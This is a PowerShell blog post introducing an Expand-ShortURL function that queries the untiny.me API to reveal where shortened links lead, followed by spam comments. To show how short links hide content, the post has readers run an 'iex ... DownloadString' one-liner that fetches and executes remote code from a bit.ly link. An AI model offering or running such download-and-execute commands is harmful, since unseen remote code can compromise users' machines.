Introduction to ‘Expand Short URL using PowerShell’:
A couple of URL shortening services like Google and TinyURL are available over the Internet, and I’m a big fan as Short or Tiny URLs as they are very useful to share contents on social media (Eg. Twitter with 140 Char limit), especially for bloggers, but they can be used for malicious purposes by spammers and hackers because they guarantee a virtual anonymity to their user and the domain.
Don’t believe me? Please wear your headphone and try the Powershell command below with a Short URL. It’s FUN 🙂 but it could have been worst, maybe a malicious file would have been downloaded on your computer.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w") |
Recently, I shared some Powershell code /r/PowerShell/ which had a link which was downloading a CSV file using a Short URL from IEEE.org website which was legit, but some people were bit skeptical to run the code. Can’t blame them.
The Idea and the Powershell Function:
So, I was thinking there are short URLs services then the opposite must also exist.
A simple google search resulted in lots of Short URL expander web services and APIs, and I wrapped one of them which does not require a subscription key in a quick Powershell function, to make it work.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.SYNOPSIS | |
Expand Short URLs | |
.DESCRIPTION | |
Unshortens the short URL using the UnTiny.me web API http://untiny.me/api | |
.PARAMETER URL | |
Short URL to be expanded | |
.EXAMPLE | |
PS > Expand-ShortURL -URL https://goo.gl/quuacW, http://goo.gl/VG9XdU | |
ShortURL LongURL | |
——– ——- | |
https://goo.gl/quuacW https://geekeefy.wordpress.com/ | |
http://goo.gl/VG9XdU https://raw.githubusercontent.com/PrateekKumarSingh/PowershellScrapy/master/MACManufacturers/MAC_Manufacturer_Reference.csv | |
.EXAMPLE | |
PS > 'https://goo.gl/quuacW' |Expand-ShortURL | |
ShortURL LongURL | |
——– ——- | |
https://goo.gl/quuacW https://geekeefy.wordpress.com/ | |
.NOTES | |
Blog URL – http://geekeefy.wordpress.com | |
#> | |
Function Expand-ShortURL { | |
Param( | |
[Parameter( | |
Mandatory = $true, | |
HelpMessage = 'Short URL to be expanded', | |
ValueFromPipeline = $true, | |
Position = 0 | |
)] | |
[ValidateNotNullOrEmpty()] | |
[string[]] $URL | |
) | |
Begin{ | |
} | |
Process | |
{ | |
Foreach($Item in $URL){ | |
try { | |
[PSCustomObject]@{ | |
ShortURL = $Item | |
LongURL = Invoke-WebRequest -Uri "http://untiny.me/api/1.0/extract?url=$Item&format=text" -ErrorAction Stop |` | |
ForEach-Object Content | |
} | |
} | |
catch { | |
$_.exception.Message | |
} | |
} | |
} | |
End{ | |
} | |
} | |
Using this function I can also, scan for Downloaded scripts and Documents with Powershell and check if any Short URL is directing to some bad script, domain or malicious content.
Running the Function:
You can run the function like in the below image.
Hope you’ll find the script useful and Thanks for reading, Cheers! 🙂
Prateek Singh
Related posts
6 Comments
Leave a ReplyCancel reply
Categories
Author of Books
Awards
Open Sourced Projects
Author at
Blog Roll
Mike F RobbinsDamien Van Robaeys
Stéphane van Gulick
Kevin Marquette
Adam Bertram
Stephanos Constantinou
Francois-Xavier Cat
Ravikanth Chaganti
Roman Levchenko
Blog Stats
- 1,132,548 People Reached
[…] on August 22, 2017 submitted by /u/Prateeksingh1590 [link] [comments] Leave a […]
Bàn giám đốc được thanh lý với giá 2tr/c.
There are HOURS and hours of movies here, and
properly over 100 – take this significantly and treat it like a
correct education if you wish to have success with it.
If you’re merely going to sell widgets just like
the 14 other properly-established widget sites do,
your ‘me-too’ method will limit your success.
An outstanding share! I have just forwarded this onto a colleague who was doing a little homework on this.
And he actually ordered me dinner simply because I stumbled upon it for him…
lol. So allow me to reword this…. Thanks for the meal!!
But yeah, thanks for spending some time to talk about this topic here on your internet site.
Google
Below youll find the link to some internet sites that we consider you must visit.